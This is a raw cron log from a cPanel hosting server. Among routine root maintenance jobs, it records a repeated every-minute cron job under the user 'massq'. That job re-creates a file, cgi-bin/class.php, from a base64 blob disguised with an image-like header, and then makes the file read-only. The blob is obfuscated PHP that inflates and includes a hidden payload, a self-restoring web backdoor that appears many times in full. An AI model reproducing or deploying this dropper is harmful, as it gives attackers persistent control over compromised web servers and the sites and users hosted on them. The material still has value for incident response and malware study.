Sep  4 20:03:01 server CROND[13241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:03:01 server CROND[13242]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:03:01 server CROND[13243]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:04:01 server CROND[13717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:04:01 server CROND[13718]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:04:01 server CROND[13719]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:05:01 server CROND[14138]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:05:01 server CROND[14140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:05:01 server CROND[14144]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:05:01 server CROND[14142]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:05:01 server CROND[14147]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:05:01 server CROND[14145]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:05:01 server CROND[14143]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Sep  4 20:05:01 server CROND[14146]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 20:05:01 server CROND[14148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:06:01 server CROND[15009]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:06:01 server CROND[15010]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:06:01 server CROND[15011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:07:01 server CROND[15392]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:07:01 server CROND[15393]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:07:01 server CROND[15394]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:08:02 server CROND[15775]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:08:02 server CROND[15776]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:08:02 server CROND[15777]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:09:01 server CROND[16153]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:09:01 server CROND[16154]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:09:01 server CROND[16155]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:09:01 server CROND[16157]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 20:10:01 server CROND[16647]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:10:01 server CROND[16648]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:10:01 server CROND[16650]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 20:10:02 server CROND[16651]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 20:10:02 server CROND[16649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 20:10:02 server CROND[16654]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:10:02 server CROND[16656]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 20:10:02 server CROND[16655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:11:01 server CROND[17486]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:11:01 server CROND[17487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:11:01 server CROND[17488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:12:01 server CROND[17876]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 20:12:01 server CROND[17877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:12:01 server CROND[17904]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:12:01 server CROND[17931]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:13:01 server CROND[18327]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:13:01 server CROND[18328]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:13:01 server CROND[18329]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:14:01 server CROND[18711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 20:14:01 server CROND[18712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 20:14:01 server CROND[18713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 20:15:01 server CROND[19211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 20:15:01 server CROND[19214]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
